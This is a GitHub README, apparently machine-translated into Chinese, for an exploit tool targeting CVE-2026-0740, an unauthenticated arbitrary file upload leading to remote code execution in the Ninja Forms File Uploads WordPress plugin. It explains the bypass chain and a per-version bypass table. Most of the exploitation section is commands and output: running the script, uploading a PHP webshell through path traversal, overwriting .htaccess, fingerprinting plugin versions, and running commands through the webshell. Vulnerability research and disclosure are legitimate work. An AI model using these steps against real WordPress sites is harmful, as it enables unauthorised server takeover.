whattheslime/CVE-2026-0740
GitHub: whattheslime/CVE-2026-0740
该项目针对 WordPress Ninja Forms File Uploads 插件 CVE-2026-0740 漏洞提供了 Python 利用脚本,能够实现未授权的任意文件上传和远程代码执行。
Stars: 0 | Forks: 2
# CVE-2026-0740
### Ninja Forms File Uploads <= 3.3.26 - 未认证任意文件上传致 RCE
[Selim Lanouar (whattheslime)](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/selim-lanouar) 发现的 [CVE-2026-0740](https://www.cve.org/CVERecord?id=CVE-2026-0740) 漏洞利用程序。
如需完整的技术深度解析,请阅读 [Lexfo 博客上的完整文章](https://blog.lexfo.fr/ninja-forms-uploads_rce.html)。
## 免责声明
本仓库**仅供研究和防御安全目的**提供。
作者不对滥用此信息承担责任。
## 概述
适用于 WordPress 的 **Ninja Forms - File Uploads** 插件在 **3.3.26** 及以下所有版本中存在**未认证任意文件上传**漏洞,可导致**远程代码执行 (RCE)**。
该漏洞最初发现并报告于 **3.3.23** 版本。在 **3.3.24** 及之前的版本中,利用过程非常直接(未对目标文件名进行验证)。**3.3.25** 和 **3.3.26** 版本引入了连续的部分补丁,但该问题仅在 **3.3.27** 版本中得到完全解决。
漏洞利用链如下:
1. 未认证用户通过带有任意 `field_id` 的 `nf_fu_get_new_nonce` AJAX 操作获取有效的上传 nonce。
2. `nf_fu_upload` 处理程序验证上传文件的扩展名(例如 `image.jpg`),但允许客户端通过 POST 参数(`image_jpg`)覆盖目标文件名。
3. 目标文件名在未经适当清理的情况下传递给 `move_uploaded_file()`,从而允许任意扩展名和路径穿越 (`../`)。
| 向量 / 扩展名 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|:---:|:---:|:---:|:---:|
| 路径穿越 (`../`) | PASS | - | - | - |
| `.php` | PASS | - | - | - |
| `.phtml`, `.phar` | PASS | PASS | - | - |
| `.pht` | PASS | PASS | PASS | - |
| `.html`, `.svg`, `.js` | PASS | PASS | PASS | - |
关于完整的扩展名列表和技术深度解析,请参阅 [完整博客文章](https://blog.lexfo.fr/ninja-forms-uploads_rce.html)。
## 利用
### 前置条件
- **Ninja Forms** 插件已安装并激活。
- **Ninja Forms - File Uploads** 扩展已安装并激活(<= 3.3.26)。
- 不需要活动的表单或预先存在的文件上传字段。
### 设置
```
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
```
#### 上传文件(无路径穿越)
```
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
```
文件将被写入 `wp-content/uploads/ninja-forms/tmp/test.txt`。
#### 带路径穿越的上传(<= 3.3.24)
```
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
```
文件将被写入 `wp-content/webshell.php`。
#### 使用自定义目标文件名上传
```
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
```
#### 示例
```
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## 参考资料
* [博客文章 - 技术深度解析](https://blog.lexfo.fr/ninja-forms-uploads_rce.html)
* [CVE-2026-0740](https://www.cve.org/CVERecord?id=CVE-2026-0740)
* [Wordfence - 50,000 个 WordPress 站点受影响](https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/)
* [Wordfence - 漏洞详情](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload)
标签:CISA项目, CVE, CVE-2026-0740, EXP, Ninja Forms, OpenVAS, PHP, RCE, Web安全, WordPress, 任意文件上传, 插件漏洞, 数字签名, 文件上传, 未授权访问, 绕过技术, 编程工具, 网络安全, 蓝队分析, 路径遍历, 远程代码执行, 逆向工具, 隐私保护